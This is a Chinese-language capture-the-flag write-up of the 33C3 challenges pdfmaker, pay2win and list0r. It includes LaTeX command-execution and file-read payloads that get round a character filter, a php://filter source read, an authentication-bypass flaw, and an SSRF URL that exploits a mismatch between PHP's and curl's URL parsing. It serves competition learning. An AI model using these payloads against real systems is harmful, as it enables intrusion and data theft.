16年的最后几天看了看33c3的题目…没想到的是这个比赛质量奇高,ctftime最后权重超过90,可惜期末了所以来不及好好打,还是挺可惜的….
pdfmaker (75)
Solves: 133
Just a tiny application, that lets the user write some files and >compile them with pdflatex. What can possibly go wrong?
nc 78.46.224.91 24242
先贴一篇别人的博客 https://github.com/EdwardPwnden/ctf-2016/tree/master/33c3/pdfmaker
代码如下
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
import signal
import sys
from random import randint
import os, pipes
from shutil import rmtree
from shutil import copyfile
import subprocess
class PdfMaker:
def cmdparse(self, cmd):
fct = {
'help': self.helpmenu,
'?': self.helpmenu,
'create': self.create,
'show': self.show,
'compile': self.compilePDF,
'flag': self.flag
}.get(cmd, self.unknown)
return fct
def handle(self):
self.initConnection()
print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."
instruction_counter = 0
while(instruction_counter < 77):
try:
cmd = (raw_input("> ")).strip().split()
if len(cmd) < 1:
continue
if cmd[0] == "exit":
self.endConnection()
return
print self.cmdparse(cmd[0])(cmd)
instruction_counter += 1
except Exception, e:
print "An Exception occured: ", e.args
self.endConnection()
break
print "Maximum number of instructions reached"
self.endConnection()
def initConnection(self):
cwd = os.getcwd()
self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
while os.path.exists(self.directory):
self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
os.makedirs(self.directory)
flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) + "%X" % randint(0, 2**31)
copyfile("flag", flag)
def endConnection(self):
if os.path.exists(self.directory):
rmtree(self.directory)
def unknown(self, cmd):
return "Unknown Command! Type 'help' or '?' to get help!"
def helpmenu(self, cmd):
if len(cmd) < 2:
return " Available commands: ?, help, create, show, compile.\n Type 'help COMMAND' to get information about the specific command."
if (cmd[1] == "create"):
return (" Create a file. Syntax: create TYPE NAME\n"
" TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
" NAME: name of the file (without type ending)\n"
" The created file will have the name NAME.TYPE")
elif (cmd[1] == "show"):
return (" Shows the content of a file. Syntax: show TYPE NAME\n"
" TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
" NAME: name of the file (without type ending)")
elif (cmd[1] == "compile"):
return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAME\n"
" NAME: name of the file (without type ending)")
def show(self, cmd):
if len(cmd) < 3:
return " Invalid number of parameters. Type 'help show' to get more info."
if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
return " Invalid file ending. Only log, tex, sty and mp allowed"
filename = cmd[2] + "." + cmd[1]
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)
if full_filename.startswith(self.directory) and os.path.exists(full_filename):
with open(full_filename, "r") as file:
content = file.read()
else:
content = "File not found."
return content
def flag(self, cmd):
pass
def create(self, cmd):
if len(cmd) < 3:
return " Invalid number of parameters. Type 'help create' to get more info."
if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
return " Invalid file ending. Only log, tex, sty and mp allowed"
filename = cmd[2] + "." + cmd[1]
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)
if not full_filename.startswith(self.directory):
return "Could not create file."
with open(full_filename, "w") as file:
print "File created. Type the content now and finish it by sending a line containing only '\q'."
while 1:
text = raw_input("");
if text.strip("\n") == "\q":
break
write_to_file = True;
for filter_item in ("..", "*", "/", "\\x"):
if filter_item in text:
write_to_file = False
break
if (write_to_file):
file.write(text + "\n")
return "Written to " + filename + "."
def compilePDF(self, cmd):
if (len(cmd) < 2):
return " Invalid number of parameters. Type 'help compile' to get more info."
filename = cmd[1] + ".tex"
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)
print full_filename
if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):
return "Could not compile file."
print pipes.quote(full_filename)
compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)
compile_result = subprocess.check_output(compile_command, shell=True)
return compile_result
def signal_handler_sigint(signal, frame):
print 'Exiting...'
pdfmaker.endConnection()
sys.exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, signal_handler_sigint)
pdfmaker = PdfMaker()
pdfmaker.handle()
稍微研究一下代码,可以发现几个功能
1、create可以创建log, tex, sty, mp, bib后缀的文件,并写入内容
2、内容会经过一次过滤"..", "*", "/", "\\x"
,这些内容都会被过滤掉
3、show方法可以显示后缀为log, tex, sty, mp, bib的内容
4、compile方法可以把tex后缀的文件编译为pdf,遵循的是pdflatex语法
具体语法可以看 http://theoval.cmp.uea.ac.uk/~nlct/latex/pdfdoc/pdfdoc/pdfdoc.html
事实上,latex语法中是可以执行shell命令的,具体可以看这篇文章
https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
类似于这样\immediate\write18{ls>out.log}
,无奈的是,这个方法已经被禁用了
幸运的是,我们还可以创建md格式的create mp test
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
bye
\q
然后写入tex文件,编译执行命令,有个值得注意的是如果直接执行cat file > xxx.log
并不会执行,其中空格必须使用${IFS}
来替换,调用bash来执行命令,具体如下:
create tex lol
\documentclass{article}
\begin{document}
\immediate\write18{mpost -ini \"-tex=bash -c (cat${IFS}$(find${IFS}.))>ls.log\" \"test.mp\"}
\end{document}
\q
接着编译,查看对应的log,就可以得到flag了
33C3_pdflatex_1s_t0t4lly_s3cur3!
除了编写md格式执行命令以外,事实上还有更多办法来读取文件获取flag,也许你觉得文件名未知,我们没办法来读取flag,但也许你忘记了../../flag
这里还有一个flag。
核心问题在于如何绕过..的过滤
在pdflatex语法中,可以用^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67
来代替../../flag
,那么脚本如下
payload = """
\documentclass{article}
\\begin{document}
Hello world, this is \LaTeX
\\newwrite\outfile
\openout\outfile=out.log
\\newread\\file
\openin\\file=^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67
\\read\\file to\\fileline
\write\outfile{\\fileline}
\closein\\file
\closeout\outfile
\end{document}
\q
"""
编译读取既可
pay2win – Web
Do you have enough money to buy the flag?
整个题目做起来很难受,做了感觉非常像是强行出题…
首先进去我们发现能够购买cheap和flag两个,需要输入一个合理的信用卡号,网上随便找一个信用卡就可以购买cheap,但购买flag时候,就会显示额度不够,然后,这时候理所当然的以为要找个额度大于20万的信用卡号,于是研究了一夜的信用卡种类…
但仔细想可以想到,主办方应该是没有办法判断信用卡的额度的,所以重新审视题目,我们发现如果购买成功的话,data的数据块会发生变化
我们发现按照刚好可以8bit一分,然后购买成功后,中间的部分会发生变化
反复修改可以找到所谓储存文件名的部分,修改那部分getflag。
ctftime上有2篇文章还是蛮不错的。
https://dollberg.xyz/ctf/2016/12/29/33C3-CTF-list0r/
https://github.com/p4-team/ctf/tree/master/2016-12-27-33c3/web_400_list0r
打开之后随便逛逛,就能发现所有页面是通过包含进来的,那么我们可以通过伪协议来读源码
http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile
不得不说,这是个蛮大的站,零零散散功能非常多,但是,仔细观察发现一个比较弱的函数,在functions.php
里
function verify_password($username, $password) {
global $redis;
$user_id = $redis->hget("users", $username);
if ($user_id) {
$real_pass = $redis->hget("user:$user_id", "password");
return $user_id;
}
return FALSE;
}
我们能注意到,这里并没有验证密码,我们可以直接登陆admin用户,进入到用户后,我们发现list有几个提示
我们知道了flag的位置,直接访问我们发现
稍微试下发现这个东西是绕不过去的,所以找找别的东西吧
很快就能发现,这个头像处可以通过提交链接来得到内容,如果我们能绕过这里的话,我们可以成功的构造一个ssrf
看看代码
if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
$pic = get_contents($_POST["pic"]);
if (!is_image($pic)) {
die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
} else {
$pic_name = "profiles/" . sha1(rand());
file_put_contents($pic_name, $pic);
}
}
有个比较关键的是get_content
function in_cidr($cidr, $ip) {
list($prefix, $mask) = explode("/", $cidr);
return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}
function get_contents($url) {
$disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];
do {
$url_parts = parse_url($url);
if (!array_key_exists("host", $url_parts)) {
die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
}
$host = $url_parts["host"];
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
$ip = $host;
} else {
$ip = dns_get_record($host, DNS_A);
if (count($ip) > 0) {
$ip = $ip[0]["ip"];
debug("Resolved to {$ip}");
} else {
die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
}
}
foreach ($disallowed_cidrs as $cidr) {
if (in_cidr($cidr, $ip)) {
die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
}
}
// all good, curl now
debug("Curling {$url}");
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL
& ~CURLPROTO_FILE
& ~CURLPROTO_SCP); // no files plzzz
curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz
$data = curl_exec($curl);
if (!$data) {
die("<p><h3 style=color:red>something went wrong....</h3></p>");
}
if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
die("<p><h3 style=color:red>Timeout!! thats a slowass server</h3></p>");
}
// check for redirects
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status >= 301 and $status <= 308) {
$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
} else {
return $data;
}
} while (1);
}
仔细看,我们很容易发现,其实存在一些问题,如果获取的内容不是图片,则会显示出来,那么看来,这就是官方留给我们获取flag的方式,那么问题就在于怎么绕过get_content的验证了。
我们发现,貌似是拦截了任何请求本地的方式,但是ip的验证是通过parse_url
来判断的,请求是通过curl完成的。
这里提到了2种方式来解决,首先是第一种,通过提供用户名密码的绕过方式,payload:
http://what:ever@127.0.0.1:80@33c3ctf.ccc.ac/reeeaally/reallyy/c00l/and_aw3sme_flag
php 将会这么解析
array (
'scheme' => 'http',
'host' => '33c3ctf.ccc.ac',
'user' => 'what',
'pass' => 'ever@127.0.0.1:80',
'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)
但是在curl看来并不是这样的,链接会被解析为,what是用户名,ever是密码,host为127….
所以我们获取得了flag
还有一种看上去是通过所谓的负载均衡的实现的,但具体不是很清楚,不知道怎么实验一下